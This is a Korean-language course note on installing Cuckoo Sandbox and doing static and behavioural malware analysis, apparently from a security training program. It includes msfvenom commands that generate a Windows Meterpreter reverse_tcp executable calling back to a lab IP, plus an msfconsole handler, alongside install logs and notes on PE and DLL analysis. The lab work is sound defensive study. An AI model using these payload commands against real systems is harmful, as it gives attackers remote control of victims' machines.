📘 Day 47 (2025.08.20.WED) - Cuckoo Sandbox 분석(1)
🌐 네트워크 & 악성코드 생성
kali IP:100.100.100.1 GW:100.100.100.254 DNS:125.246.95.152
악성코드 만들기 - kali를 NAT로 변경
xshell로 접속(192.168.0.207)
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.207 -f exe -o yes.exe
⚙️ Payload 설정
payload.rc(GNS 사용), payload2.rc(PC 사용)
cp payload.rc payload2.rc
nano payload2.rc -> 192.168.0.207 수정
msfconsole -r payload2.rc
포트 포워딩: 4444
🔍 Cuckoo Sandbox 접속
http://192.168.0.93:8000 (Cuckoo Sandbox는 GNS 안에 넣을 수 없음)
- 파일 탐색이 안되는 이유
- IP 잘못 입력(kali → 악성코드)
- 포트 포워딩 안함
- Cuckoo Sandbox에서 분석 시 네트워크 차단 가능
📂 yes.exe 파일 업로드
업로드 했을 때 payload2.rc 반응 확인 → 해커 IP 찾기
💻 Cuckoo Sandbox 개요
- 93번 서버(Cuckoo Sandbox) - Python 기반 Django
- 명령어 실행 → 구조 자동 생성
- 가상 화면 필요 → 아나콘다 가상 프로그램 설치 필수
(py27) 환경 상태에서 프로그램 설치 필요
- 개발 중단됨. core는 설치 가능
- 정적/동적/PL 분석 가능
- Ubuntu 22.04 설치 (최신 버전 불가)
📝 설치 과정
1 sudo apt -y install virtualbox
2 ip addr
3 sudo apt -y install virtualbox
4 ip addr
5 ping 158.126.63.1
6 ping 168.126.63.1
7 sudo apt -y install virtualbox
8 sudo apt update
9 sudo apt upgrade
10 ipconfig
11 ip addr
12 wget 192.168.1.1/Win7.ova
13 sudo apt -y install virtualbox
14 sudo apt -y install openssh-server (GUI 설치 시 ssh 미포함)
15 sudo apt -y install lrzsz
16 rz -E
17 ls
18 bash Anaconda3-2024.06-1-Linux-x86_64.sh (py27 필요)
19 sudo reboot
20 conda create -n py27 python=2.7
21 conda activate py27(py27 접근)
22 sudo apt update
23 sudo apt install -y python2
24 sudo apt install -y python2-dev
25 sudo apt install -y libssl-dev
26 sudo apt install -y libjpeg-dev
27 sudo apt install -y zlib1g-dev
28 sudo apt install -y apparmor-utils
29 sudo apt install -y curl
30 sudo apt install -y iptables-persistent
31 sudo apt install -y tcpdump
32 sudo aa-disable /usr/sbin/tcpdump
33 sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
34 curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
35 sudo python2.7 get-pip.py
36 sudo apt-get update && sudo apt-get -y install build-essential libssl-dev libffi-dev python2-dev
37 sudo -H pip install cuckoo==2.0.7(24~37 Cuckoo 설치 필수)
38 cuckoo
39 cuckoo -d
ls -al 시 .cuckoo 생성됨 → cd cuckoo, cd web/, cat local_settings.py 확인 => 장고 운영
cd conf/ → virtualbox.conf 존재
🛠 VirtualBox 연동
- 악성코드 업로드 시 VirtualBox 실행 확인 (
virtualbox.conf)
- 머신명:
cuckoo1 (VirtualBox 동일 설정 필요)
- IP: 192.168.56.101 (호스트 전용 어댑터, 외부 연결 불가)
- 스냅샷 에이전트: 악성코드 실행 후 멈춤
🗄 DB 설치
40 sudo apt-get install -y postgresql libpq-dev
41 sudo passwd postgres
42 sudo -u postgres createuser --interactive
43 createdb cuckoo
44 psql cuckoo
45 sudo nano /etc/postgresql/14/main/postgresql.conf
46 sudo nano /etc/postgresql/14/main/pg_hba.conf
47 sudo systemctl restart postgresql@14-main.service
48 sudo systemctl enable postgresql@14-main.service
49 wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -
50 echo "deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/4.4 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list
51 echo "deb http://security.ubuntu.com/ubuntu focal-security main" | sudo tee /etc/apt/sources.list.d/focal-security.list
52 sudo apt-get update
53 sudo apt-get install libssl1.1
54 sudo apt-get install -y mongodb-org
55 sudo nano /etc/mongod.conf
56 sudo systemctl restart mongod
57 mongo 192.168.1.3
58 ls
59 cd .cuckoo/
60 ls
61 cd conf
62 ls
63 nano cuckoo.conf
64 sudo -H pip install psycopg2-binary
65 nano virtualbox.conf
66 nano reporting.conf
67 cuckoo -d
68 sudo apt-get -y install libfuzzy-dev
69 sudo -H pip install pydeep
70 sudo apt-get -y install swig
71 sudo -H pip install m2crypto==0.24.0
72 sudo -H pip install m2crypto
73 VBoxManage snapshot "cuckoo1" take "Snapshot 1" --pause
74 VBoxManage controlvm "cuckoo1" poweroff
75 VBoxManage snapshot "cuckoo1" restorecurrent
76 cuckoo -d
77 cd ".cuckoo/conf"
78 cuckoo web -H 192.168.1.3
79 conda activate py27
80 sudo systemctl restart postgresql@14-main.service
81 sudo systemctl restart mongod
82 VBoxManage snapshot "cuckoo1" restorecurrent
83 cuckoo -d
84 cuckoo web -H 192.168.1.3
85 history
86 conda activate py27
87 cuckoo -d
88 cuckoo web -H 192.168.1.3
89 cuckoo -d
90 hollywood
91 ip addr
92 sudo su
93 ping 8.8.8.8
94 sudo apt update
95 sudo apt upgrade
96 ls
97 ifconfig
98 ip addr
99 cuckoo --version
100 sudo su
101 ip addr
102 cd /etc/netplan/
103 ls
104 nano 01-network-manager-all.yaml
105 sudo nano 01-network-manager-all.yaml
106 sudo netplan apply
107 ip addr
108 ping 168.126.63.1
109 history
110 cd ~
111 history > master_history.txt
체크 결과: VirtualBox -> 윈도우 -> 외부랑 연결x, 방화벽 해제
📊 Static Analysis
정적분석을 통해 얻을 수 있는 정보(Static Analysis - Imports):
- 로컬에서 접속: http://192.168.0.93:8000 - P51.exe, P52.exe 업로드
- 두 파일의 해시값 동일 => 사용하는 기본적인 dll 동일하기 때문(KERNEL32.dll, msvcrt.dll)
- kali와 로컬 해시값 다름 => 사용하는 기본적인 dll 말고 다른 dll이 있을 수도 있음(kali 기본 dll: ADVAPI32.dll, 네트워크 dll: WS2_32.dll, WSOCK32.dll)
- 악성코드는 네트워크 dll 확인 가능
Static Analysis - PE Compile Time:
- PE 파일 실행 계열: exe, scr, msi, bat. cmd, vbs 등
- 윈도우 PE 구조를 읽으면 exe 파일이 언제, 누가 만들었는지 알 수 있음
📑 주요 Windows DLL 정리
| DLL 파일 | 역할 | 주요 기능 | 비고 |
| KERNEL32.dll |
Windows 커널 기능 제공 |
- 프로세스/스레드 관리
- 메모리 관리
- 파일 입출력
- 동기화
|
윈도우 필수 |
| msvcrt.dll |
C 런타임 라이브러리 |
|
C/C++ 기본 런타임 |
| ADVAPI32.dll |
고급 시스템 관리 API |
- 레지스트리 제어
- 서비스 제어
- 사용자 인증
- 암호화 API
|
보안·시스템 설정 DLL |
| WS2_32.dll |
Winsock 2 네트워크 API |
|
네트워크 통신 필수 |
| WSOCK32.dll |
Winsock 1.x 구버전 |
|
구형 악성코드에서 발견 |
💻 Dev C++ 설치
파일 → 새로 만들기 → 프로젝트 → Console → C
경로: D:\2025_Malware\P51
파일명: main.c
컴파일: TDM-GCC 4.9.2 32-bit Release
🔍 PEview 설치 및 분석
P51.exe 열기 → IMAGE_NT_HEADERS → IMAGE_FILE_HEADER
🛡 본인의 exe 파일 내부에서 공격자 정보 확인
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.207 -f exe -o yes2.exe
msfconsole -r payload2.rc
🐍 Cuckoo 업로드 및 행동 분석 (Behavioral Analysis)
악성코드를 Cuckoo에 업로드 후, Network 탭에서 connect 확인
❓ 분석 질문
- 악성코드 설치 시간은?
- 컴파일된 시간은 동일한가?
- 컴파일된 시간은 언제인가?
- PE Imphash는 무엇인가?
- 문자열 분석 결과는?